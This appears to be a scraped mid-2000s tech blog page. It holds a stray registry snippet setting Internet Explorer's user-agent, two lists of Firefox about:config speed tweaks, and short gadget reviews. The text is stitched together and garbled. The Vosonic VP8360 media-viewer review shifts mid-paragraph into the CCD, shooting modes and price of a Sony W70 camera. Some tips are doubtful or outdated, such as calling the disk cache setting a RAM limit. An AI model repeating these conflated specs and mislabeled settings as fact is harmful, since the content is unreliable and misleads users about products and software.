Windows Registry Editor Version 5.00[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\User Agent]@="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

15 Firefox Tricks

Everybody’s favorite open-source browser, Firefox, is great right out of the box. And by adding some of the awesome extensions available out there, the browser just gets better and better.
But look under the hood, and there are a bunch of hidden (and some not-so-secret) tips and tricks available that will crank Firefox up and pimp your browser.
Make it faster, cooler, more efficient. Get to be a Jedi master with the following cool Firefox tricks.
1) More screen space. Make your icons small. Go to View - Toolbars - Customize and check the “Use small icons” box.
2) Smart keywords. If there’s a search you use a lot (let’s say IMDB.com’s people search), this is an awesome tool that not many people use. Right-click on the search box, select “Add a Keyword for this search”, give the keyword a name and an easy-to-type and easy-to-remember shortcut name (let’s say “actor”) and save it.
Now, when you want to do an actor search, go to Firefox’s address bar, type “actor” and the name of the actor and press return. Instant search! You can do this with any search box.
3) Keyboard shortcuts. This is where you become a real Jedi. It just takes a little while to learn these, but once you do, your browsing will be super fast. Here are some of the most common (and my personal favs):
* Spacebar (page down)
* Shift-Spacebar (page up)
* Ctrl+F (find)* Alt-N (find next)
* Ctrl+D (bookmark page)
* Ctrl+T (new tab)
* Ctrl+K (go to search box)
* Ctrl+L (go to address bar)
* Ctrl+= (increase text size)
* Ctrl+- (decrease text size)
* Ctrl-W (close tab)
* F5 (reload)
* Alt-Home (go to home page)
4) Auto-complete. This is another keyboard shortcut, but it’s not commonly known and very useful. Go to the address bar (Control-L) and type the name of the site without the “www” or the “.com”. Let’s say “google”. Then press Control-Enter, and it will automatically fill in the “www” and the “.com” and take you there - like magic! For .net addresses, press Shift-Enter, and for .org addresses, press Control-Shift-Enter.
5) Tab navigation. Instead of using the mouse to select different tabs that you have open, use the keyboard. Here are the shortcuts:
* Ctrl+Tab (rotate forward among tabs)
* Ctrl+Shft+Tab (rotate to the previous tab)
* Ctrl+1-9 (choose a number to jump to a specific tab)
6) Mouse shortcuts. Sometimes you’re already using your mouse and it’s easier to use a mouse shortcut than to go back to the keyboard.
Master these cool ones:
* Middle click on link (opens in new tab)
* Shift-scroll down (previous page)
* Shift-scroll up (next page)
* Ctrl-scroll up (decrease text size)
* Ctrl-scroll down (increase text size)
* Middle click on a tab (closes tab)
7) Delete items from address bar history.
Firefox’s ability to automatically show previous URLs you’ve visited, as you type, in the address bar’s drop-down history menu is very cool. But sometimes you just don’t want those URLs to show up (I won’t ask why).
Go to the address bar (Ctrl-L), start typing an address, and the drop-down menu will appear with the URLs of pages you’ve visited with those letters in them. Use the down-arrow to go down to an address you want to delete, and press the Delete key to make it disappear.
8) User chrome. If you really want to trick out your Firefox, you’ll want to create a UserChrome.css file and customize your browser. It’s a bit complicated to get into here, but check out this tutorial.
9) Create a user.js file.
Another way to customize Firefox, creating a user.js file can really speed up your browsing. You’ll need to create a text file named user.js in your profile folder (see this to find out where the profile folder is).
10) about:config. The true power user’s tool, about.config isn’t something to mess with if you don’t know what a setting does. You can get to the main configuration screen by putting about:config in the browser’s address bar.
See Mozillazine’s about:config tips and screenshots.
11) Add a keyword for a bookmark. Go to your bookmarks much faster by giving them keywords. Right-click the bookmark and then select Properties. Put a short keyword in the keyword field, save it, and now you can type that keyword in the address bar and it will go to that bookmark.
12) Speed up Firefox. If you have a broadband connection (and most of us do), you can use pipelining to speed up your page loads. This allows Firefox to load multiple things on a page at once, instead of one at a time (by default, it’s optimized for dialup connections). Here’s how:
* Type “about:config” into the address bar and hit return. Type “network.http” in the filter field, and change the following settings (double-click on them to change them):
* Set “network.http.pipelining” to “true”
* Set “network.http.proxy.pipelining” to “true”
* Set “network.http.pipelining.maxrequests” to a number like 30. This will allow it to make 30 requests at once.* Also, right-click anywhere and select New-> Integer.
Name it “nglayout.initialpaint.delay” and set its value to “0″. This value is the amount of time the browser waits before it acts on information it receives.
13) Limit RAM usage. If Firefox takes up too much memory on your computer, you can limit the amount of RAM it is allowed to us. Again, go to about:config, filter “browser.cache” and select “browser.cache.disk.capacity”. It’s set to 50000, but you can lower it, depending on how much memory you have. Try 15000 if you have between 512MB and 1GB ram.
14) Reduce RAM usage further for when Firefox is minimized. This setting will move Firefox to your hard drive when you minimize it, taking up much less memory. And there is no noticeable difference in speed when you restore Firefox, so it’s definitely worth a go. Again, go to about:config, right-click anywhere and select New-> Boolean. Name it “config.trim_on_minimize” and set it to TRUE. You have to restart Firefox for these settings to take effect.
15) Move or remove the close tab button. Do you accidentally click on the close button of Firefox’s tabs? You can move them or remove them, again through about:config. Edit the preference for “browser.tabs.closeButtons”. Here are the meanings of each value:* 0: Display a close button on the active tab only* 1Default) Display close buttons on all tabs* 2on’t display any close buttons* 3isplay a single close button at the end of the tab bar (Firefox 1.x

Make FIREFOX browser run at full speed

1. first in the URL bar, Type “about:config”. This will bring up a list of commands and variables you can edit.
2. The second step is to put “network.http.pipelining” in the filter and change the value to “true”.
3. After that you will want to put “network.http.proxy.pipelining” in the filter.Like the last one, make that value set to “true” also.
4. Next, locate “network.http.pipelining.maxrequests” and change the value to some number higher, say 10,20 or even 30, it would make up to 10,20 or 30 requests at once.
5. The last step is to right click anywhere and select “New” then “Integer”. Name it “nglayout.initialpaint.delay” and make its value “0″. This will make the browser respond faster on the information of the websites it receives.
6. Close out FireFox (make sure FireFox is closed by viewing the Task Manager) and restart it and enjoy the new mega speed

The Vosonic VP8360


The Vosonic VP8360 is a powerful multimedia viewer with a 3.6” TFT LCD and 2.5” HD capacity (40~120GB) giving you more room and fun to play. The VP8360 basically takes its predecessor VP8350's concept up a notch by introducing a more standard rechargeable battery and "enhanced ergonomics". It's also a bit bigger due to the use of a 2.5-inch hard drive, rather than the VP8350's 1.8-inch drive giving you an option to nsert a 120GB HDD in there. It also supports a whole slew full of formats (ranging from standard stuff like MP3, WMA, MPEG4 to e.g. MOV and several RAW profiles). The "image tank" character is emphasized by the Compact FlashTM Card type I/type II (CF), Memory Stick® (MS), Secure Digital Card (SD)/MultiMedia Card (MMC) and IBM ®MicroDrive card compatibility. It has also got some games like Tetris to keep you busy while you're waiting for your files to transfer.

About the size of a deck of cards, it's easily pocketable and still performs well indoors. A 1/2.5 inch Super HAD CCD has an effective resolution of 7.2 megapixels (3072x2304 pixels). You can also capture images at 3:2, 5M, 3M, 2M, 2M, VGA, and 16:9. Two quality settings (Fine and Standard) vary the JPEG compression rates. A small optical viewfinder is also available if you're in a pinch and can't see the LCD (or are saving battery juice). With the Sony W70, you can shoot in full Auto, Program Auto, Twilight, Twilight Portrait, Soft Snap, Landscape, Beach, Snow, High Sensitivity, and Movie modes. The W70 features a 5 point auto focus (or center auto focus). You can focus on subjects as close as 19.7 inches in Normal mode and 0.72 inches in Macro mode.

All in all it is an excellent buy when it comes to getting quality pictures and great battery life. The camera is available for prices close to $300.

The Nokia N93


The Nokia N93 is Nokia´s new camera phone flagship and the ultimate mobile device for spontaneous video recording. Offering uncompromised digital camcorder, telephony and rich Internet communication functionalities. The Nokia N93 features a 3.2 megapixel camera with Carl Zeiss optics, DVD-like video capture and 3x optical zoom.

Moreover, you can create high-quality home movies and burn them to DVD with the included Adobe Premiere Elements 2.0 software. UMTS and Wi-Fi 802.11g show that this phone is not bad, but I think it has too slow processor to handle skype properly and generally only QVGA resolution for such a phone, seems not enough. The N93 features large internal memory of up to 50 MB, which can be further expanded with a hot swap miniSD card of up to 2 GB, allowing users to capture up to 90 minutes of DVD-like quality video or close to 2500 pictures. The N93 is expected to be available from July 2006, in three colours: silver grey/deep plum, frost white/metallic red and frost white/mocha brown.

Sandio's Game O' 3D gaming mouse


Ease of Mouse Movement is a lookout for any Serious gamers. Sandio is all set to give gamers an edge with the Game O' 3D gaming mouse. Any product that promises to transfer to a mouse the movement commands that were formerly restricted to the keyboard is bound to draw some interest. Sandio Technology is showing off one such mouse, the Game O', at E3 this year, calling it "the first and the only six degrees-of-freedom 3D mouse in the IT industry." The 2000 dpi laser mouse seems to allow players to move in around in 3D space by translating mouse motions into 3D in-game movement, as opposed to just aiming a weapon's crosshair's, when the button above the scroll wheel is depressed. 3D movement is actually accomplished by a joypad on the left side of the mouse that's controlled with your thumb. Sandio will be releasing the Game O' "soon," for the not-unreasonable price of $80.

MIO-A701 Smartphone


The MIO-A701 Smartphone ships with a lot of goodies - USB cable, car charger, mains charger, dashboard mounting kit, windscreen mounting kit, software CDs, stereo headphones, a leather carry case, a spare stylus, and a screen protector. The A701 uses Microsoft's ActiveSync to allow the transfer of files, emails, contacts, MP3s, videos, etc., and has to be installed on your PC. The 240x320 pixel QVGA (Quarter VGA) screen, is clear and bright. The back light settings are very easy to manage. The Mio A701 doesn't have a keypad, and instead relies on a more PDA-like interface to interact with the user. This is to be expected as the A701 runs on the latest version of Windows for mobile devices, Windows Mobile 5. You can choose to select the individual letters using the stylus and virtual keyboard on the screen, you can use the Palm-like graffiti method of data entry and draw each letter individually, and there is a third method - the transcriber which deciphers ones handwriting and convert it to a text message! With all these cool new features and very light-weight body The MIO-A701 is an excellent buy.
